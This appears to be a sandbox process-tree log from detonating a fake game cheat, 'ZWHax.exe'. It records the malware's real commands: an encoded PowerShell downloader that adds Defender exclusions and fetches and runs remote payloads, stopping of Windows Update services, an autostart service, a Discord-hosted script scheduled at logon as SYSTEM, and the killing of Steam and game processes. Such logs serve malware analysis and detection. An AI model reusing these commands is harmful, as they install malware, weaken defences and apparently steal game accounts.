C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:3756

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4512

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6360

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:1192

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6148

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6560

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5212

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6840

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6228

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5408

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4772

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5600

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:3780

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5988

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:3140

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6424

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6828

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5932

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6068

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6192

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6696

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3376

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6732

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:1008

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6400

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5500

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6328

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5108

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6360

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6512

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6252

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6840

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6404

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6640

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4420

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:4956

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:2708

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:2520

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5544

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6116

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5184

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4496

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4876

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:5656

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:200

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4408

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5168

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:4284

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4500

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6412

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:1228

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:3916

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:7096

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:2624

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:7104

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6100

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6932

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:212

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:7084

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:5756

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5324

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6960

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6540

C:\Users\Admin\AppData\Roaming\tnnmcduu.ffx1.exe
"C:\Users\Admin\AppData\Roaming\tnnmcduu.ffx1.exe"
4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1912

C:\Users\Admin\AppData\Roaming\tnnmcduu.ffx2.exe
"C:\Users\Admin\AppData\Roaming\tnnmcduu.ffx2.exe"
4⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:4416

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2892

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
5⤵
PID:4320

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
6⤵
PID:696

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
5⤵
- Launches sc.exe
PID:5224

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
5⤵
- Launches sc.exe
PID:5824

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
5⤵
- Launches sc.exe
PID:5272

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
5⤵
- Launches sc.exe
PID:5932

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
5⤵
- Launches sc.exe
PID:60

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
5⤵
- Power Settings
PID:6140

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
5⤵
- Power Settings
PID:1192

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
5⤵
- Power Settings
PID:5608

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
5⤵
- Power Settings
PID:5172

C:\Windows\system32\dialer.exe
C:\Windows\system32\dialer.exe
5⤵
PID:5228

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "AAWUFTXN"
5⤵
- Launches sc.exe
PID:5860

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "AAWUFTXN" binpath= "C:\ProgramData\acspebqjhjkn\gjouiuwovvdx.exe" start= "auto"
5⤵
- Launches sc.exe
PID:5360

C:\Users\Admin\AppData\Roaming\tnnmcduu.ffx3.exe
"C:\Users\Admin\AppData\Roaming\tnnmcduu.ffx3.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
PID:460

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\21FA.tmp\21FB.tmp\21FC.bat C:\Users\Admin\AppData\Roaming\tnnmcduu.ffx3.exe"
5⤵
PID:668

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:4080

C:\Windows\system32\where.exe
where node
6⤵
PID:3632

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://nodejs.org/dist/v20.12.2/node-v20.12.2-x64.msi' -OutFile 'nodejs-installer.msi'"
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1036

C:\Windows\system32\msiexec.exe
msiexec /i nodejs-installer.msi /quiet
6⤵
PID:5112

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://cdn.discordapp.com/attachments/1249224125830922300/1249224157745516664/index.js?ex=666dc668&is=666c74e8&hm=5dfd52c5327ffb2554e248dcb902443533012613ad4f330995dc83169665440c&' -OutFile 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'"
6⤵
- Command and Scripting Interpreter: PowerShell
PID:1008

C:\Windows\system32\schtasks.exe
schtasks /Create /SC ONLOGON /TN "RunNodeScriptAtLogon" /TR "node.exe 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'" /RU SYSTEM /F
6⤵
- Scheduled Task/Job: Scheduled Task
PID:6932

C:\Users\Admin\Downloads\ZWHAX\ZWHAX\ZWHax.exe
"C:\Users\Admin\Downloads\ZWHAX\ZWHAX\ZWHax.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
PID:5584

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAbAB3ACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGEAdAByACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARQByAHIAbwByACAAIwA4ADEAOQA6ACAAQwBhAG4AbgBvAHQAIABzAHQAYQByAHQAIABkAHUAZQAgAHQAbwAgAG0AaQBzAHMAaQBuAGcAIABkAGUAcABlAG4AZABlAG4AYwBpAGUAcwAsACAAcABsAGUAYQBzAGUAIABpAG4AcwB0AGEAbABsACAAYQBsAGwAIAB0AGgAZQAgAGQAZQBwAGUAbgBkAGUAbgBjAGkAZQBzACAAcgBlAHEAdQBpAHIAZQBkAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAGIAcQBzACMAPgA7ACIAOwA8ACMAZQBtAHYAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwB1AGoAZgAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwB1AHEAbQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB3AHcAeAAjAD4AOwAkAHcAYwAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7ACQAbABuAGsAIAA9ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAbgB0AHIAeQAuAG8AcgBnAC8AcABhAG4AYwBlAGsANgAxADEAMQAxADEAMQAxADEAMQAxADEAMQAxAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBtAGMAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGoAbQBpACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGkAZwBuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwB2AGkAeAAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AGUAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdgB2AHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAHgAbABpACMAPgA="
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5652

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#atr#>[System.Windows.Forms.MessageBox]::Show('Error #819: Cannot start due to missing dependencies, please install all the dependencies required.','','OK','Error')<#bqs#>;
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5808

C:\Users\Admin\AppData\Roaming\nfy5hudn.bqf0.exe
"C:\Users\Admin\AppData\Roaming\nfy5hudn.bqf0.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
PID:6036

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\5520.tmp\5521.tmp\5522.bat C:\Users\Admin\AppData\Roaming\nfy5hudn.bqf0.exe"
5⤵
PID:5276

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:5320

C:\Windows\system32\chcp.com
chcp 1251
6⤵
PID:5416

C:\Windows\system32\findstr.exe
findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
6⤵
PID:5492

C:\Windows\system32\findstr.exe
findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
6⤵
PID:1912

C:\Windows\system32\findstr.exe
findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
6⤵
PID:5540

C:\Windows\system32\schtasks.exe
schtasks /query /tn "MyBatchScript"
6⤵
PID:5560

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
6⤵
PID:5112

C:\Windows\system32\reg.exe
reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
7⤵
PID:1824

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
6⤵
PID:1192

C:\Windows\system32\reg.exe
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
7⤵
PID:5608

C:\Windows\system32\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5604

C:\Windows\system32\find.exe
find /i "tf_win64.exe"
6⤵
PID:5612

C:\Windows\system32\taskkill.exe
taskkill /f /im tf_win64.exe
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:6080

C:\Windows\system32\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5156

C:\Windows\system32\find.exe
find /i "dota2.exe"
6⤵
PID:5172

C:\Windows\system32\taskkill.exe
taskkill /f /im dota2.exe
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5692

C:\Windows\system32\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5716

C:\Windows\system32\find.exe
find /i "cs2.exe"
6⤵
PID:5700

C:\Windows\system32\taskkill.exe
taskkill /f /im cs2.exe
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5408

C:\Windows\system32\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5560

C:\Windows\system32\find.exe
find /i "RustClient.exe"
6⤵
PID:2892

C:\Windows\system32\taskkill.exe
taskkill /f /im RustClient.exe
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5608

C:\Windows\system32\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5816

C:\Windows\system32\find.exe
find /i "GTA5.exe"
6⤵
PID:3760

C:\Windows\system32\taskkill.exe
taskkill /f /im GTA5.exe
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4276

C:\Windows\system32\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5824

C:\Windows\system32\find.exe
find /i "TslGame.exe"
6⤵
PID:3212

C:\Windows\system32\taskkill.exe
taskkill /f /im TslGame.exe
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5748

C:\Windows\system32\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:6136

C:\Windows\system32\find.exe
find /i "RainbowSix.exe"
6⤵
PID:6140

C:\Windows\system32\taskkill.exe
taskkill /f /im RainbowSix.exe
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:6072

C:\Windows\system32\timeout.exe
timeout /t 3
6⤵
PID:6032

C:\Windows\system32\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:6084

C:\Windows\system32\find.exe
find /i "steam.exe"
6⤵
PID:2468

C:\Windows\system32\taskkill.exe
taskkill /f /im steam.exe
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5620

C:\Windows\system32\timeout.exe
timeout /t 3
6⤵
PID:5748

C:\Windows\system32\tar.exe
tar -xf "C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar" -C ""
6⤵
PID:5548

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4120

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:5540

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5536

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:228

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:2324

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3760

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2116

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5932

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5640

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6056

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6076

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6080

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5868

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5884

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5860

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:5356

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5456

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5944

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5800

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5576

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4852

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5892

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4512

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6844

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:7076

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5780

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5872

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:3000

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5080

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5792

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6552

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6180

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6080

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6624

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6504

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6692

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:3376

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6972

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6980

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:2392

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:2116

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:7024

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2588

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:1192

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6572

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6444

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6436

